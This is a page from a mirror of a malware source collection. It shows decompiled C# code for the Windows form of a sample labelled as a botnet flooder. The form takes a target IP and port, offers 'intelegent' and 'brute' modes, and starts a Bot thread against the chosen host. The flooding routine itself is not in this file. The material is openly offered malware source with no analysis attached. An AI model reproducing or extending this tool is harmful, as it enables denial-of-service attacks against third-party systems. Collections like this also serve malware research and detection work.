mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
f2ac1ece55
add
183 lines
6.4 KiB
C#
183 lines
6.4 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Bot1.FormMain
|
|
// Assembly: Bot1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 20DD3A26-8F2D-4308-84CA-4E2001F5A7BC
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Flooder.Win32.BotNet-11803bea825d1019c1c625a35ddac314d1b24b11958883eb4cc10b0fde3423f3.exe
|
|
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Drawing;
|
|
using System.Resources;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Bot1
|
|
{
|
|
public class FormMain : Form
|
|
{
|
|
private bool stopProcessing = false;
|
|
private Thread thread;
|
|
private Button ButtonClose;
|
|
private GroupBox GroupParameters;
|
|
private Button ButtonStart;
|
|
private Button ButtonStop;
|
|
private Label label1;
|
|
private TextBox ip;
|
|
private TextBox port;
|
|
private StatusBar Status;
|
|
private RadioButton OptionIntelegent;
|
|
private RadioButton OptionBrute;
|
|
private Container components = (Container) null;
|
|
|
|
public FormMain() => this.InitializeComponent();
|
|
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && this.components != null)
|
|
this.components.Dispose();
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
private void InitializeComponent()
|
|
{
|
|
ResourceManager resourceManager = new ResourceManager(typeof (FormMain));
|
|
this.ButtonClose = new Button();
|
|
this.GroupParameters = new GroupBox();
|
|
this.OptionBrute = new RadioButton();
|
|
this.OptionIntelegent = new RadioButton();
|
|
this.label1 = new Label();
|
|
this.port = new TextBox();
|
|
this.ip = new TextBox();
|
|
this.ButtonStart = new Button();
|
|
this.ButtonStop = new Button();
|
|
this.Status = new StatusBar();
|
|
this.GroupParameters.SuspendLayout();
|
|
this.SuspendLayout();
|
|
this.ButtonClose.DialogResult = DialogResult.Cancel;
|
|
this.ButtonClose.Location = new Point(221, 7);
|
|
this.ButtonClose.Name = "ButtonClose";
|
|
this.ButtonClose.Size = new Size(56, 24);
|
|
this.ButtonClose.TabIndex = 6;
|
|
this.ButtonClose.Text = "Close";
|
|
this.ButtonClose.Click += new EventHandler(this.ButtonClose_Click);
|
|
this.GroupParameters.Controls.AddRange(new Control[7]
|
|
{
|
|
(Control) this.OptionBrute,
|
|
(Control) this.OptionIntelegent,
|
|
(Control) this.label1,
|
|
(Control) this.port,
|
|
(Control) this.ip,
|
|
(Control) this.ButtonStart,
|
|
(Control) this.ButtonStop
|
|
});
|
|
this.GroupParameters.Location = new Point(4, 2);
|
|
this.GroupParameters.Name = "GroupParameters";
|
|
this.GroupParameters.Size = new Size(212, 80);
|
|
this.GroupParameters.TabIndex = 3;
|
|
this.GroupParameters.TabStop = false;
|
|
this.OptionBrute.Location = new Point(8, 59);
|
|
this.OptionBrute.Name = "OptionBrute";
|
|
this.OptionBrute.Size = new Size(75, 16);
|
|
this.OptionBrute.TabIndex = 9;
|
|
this.OptionBrute.Text = "brute";
|
|
this.OptionIntelegent.Checked = true;
|
|
this.OptionIntelegent.Location = new Point(8, 42);
|
|
this.OptionIntelegent.Name = "OptionIntelegent";
|
|
this.OptionIntelegent.Size = new Size(75, 16);
|
|
this.OptionIntelegent.TabIndex = 8;
|
|
this.OptionIntelegent.TabStop = true;
|
|
this.OptionIntelegent.Text = "intelegent";
|
|
this.label1.AutoSize = true;
|
|
this.label1.Font = new Font("Arial", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
|
this.label1.Location = new Point(136, 18);
|
|
this.label1.Name = "label1";
|
|
this.label1.Size = new Size(8, 13);
|
|
this.label1.TabIndex = 7;
|
|
this.label1.Text = ":";
|
|
this.port.Location = new Point(144, 16);
|
|
this.port.Name = "port";
|
|
this.port.Size = new Size(40, 20);
|
|
this.port.TabIndex = 2;
|
|
this.port.Text = "80";
|
|
this.ip.Location = new Point(24, 16);
|
|
this.ip.Name = "ip";
|
|
this.ip.Size = new Size(110, 20);
|
|
this.ip.TabIndex = 1;
|
|
this.ip.Text = "127.0.0.1";
|
|
this.ButtonStart.Location = new Point(91, 45);
|
|
this.ButtonStart.Name = "ButtonStart";
|
|
this.ButtonStart.Size = new Size(56, 24);
|
|
this.ButtonStart.TabIndex = 4;
|
|
this.ButtonStart.Text = "Start";
|
|
this.ButtonStart.Click += new EventHandler(this.ButtonStart_Click);
|
|
this.ButtonStop.Enabled = false;
|
|
this.ButtonStop.Location = new Point(147, 45);
|
|
this.ButtonStop.Name = "ButtonStop";
|
|
this.ButtonStop.Size = new Size(56, 24);
|
|
this.ButtonStop.TabIndex = 5;
|
|
this.ButtonStop.Text = "Stop";
|
|
this.ButtonStop.Click += new EventHandler(this.ButtonStop_Click);
|
|
this.Status.Location = new Point(0, 89);
|
|
this.Status.Name = "Status";
|
|
this.Status.ShowPanels = true;
|
|
this.Status.Size = new Size(281, 22);
|
|
this.Status.TabIndex = 7;
|
|
this.AutoScaleBaseSize = new Size(5, 13);
|
|
this.CancelButton = (IButtonControl) this.ButtonClose;
|
|
this.ClientSize = new Size(281, 111);
|
|
this.Controls.AddRange(new Control[3]
|
|
{
|
|
(Control) this.Status,
|
|
(Control) this.GroupParameters,
|
|
(Control) this.ButtonClose
|
|
});
|
|
this.Font = new Font("Arial", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|
this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
|
|
this.Name = nameof (FormMain);
|
|
this.StartPosition = FormStartPosition.CenterScreen;
|
|
this.Text = "Bot";
|
|
this.GroupParameters.ResumeLayout(false);
|
|
this.ResumeLayout(false);
|
|
}
|
|
|
|
private void ButtonClose_Click(object sender, EventArgs e)
|
|
{
|
|
this.thread.Abort();
|
|
Application.Exit();
|
|
}
|
|
|
|
private void ButtonStart_Click(object sender, EventArgs e)
|
|
{
|
|
this.ip.Enabled = false;
|
|
this.port.Enabled = false;
|
|
this.ButtonClose.Enabled = false;
|
|
this.ButtonStart.Enabled = false;
|
|
this.ButtonStop.Enabled = true;
|
|
this.stopProcessing = false;
|
|
this.Start();
|
|
}
|
|
|
|
private void ButtonStop_Click(object sender, EventArgs e)
|
|
{
|
|
this.ip.Enabled = true;
|
|
this.port.Enabled = true;
|
|
this.ButtonClose.Enabled = true;
|
|
this.ButtonStart.Enabled = true;
|
|
this.ButtonStop.Enabled = false;
|
|
this.stopProcessing = true;
|
|
}
|
|
|
|
private void Start()
|
|
{
|
|
int _type = 1;
|
|
if (this.OptionBrute.Checked)
|
|
_type = 2;
|
|
this.thread = new Thread(new ThreadStart(new Bot(this.ip.Text, (int) short.Parse(this.port.Text), _type).Start));
|
|
this.thread.Start();
|
|
while (!this.stopProcessing)
|
|
Application.DoEvents();
|
|
this.thread.Abort();
|
|
}
|
|
}
|
|
}
|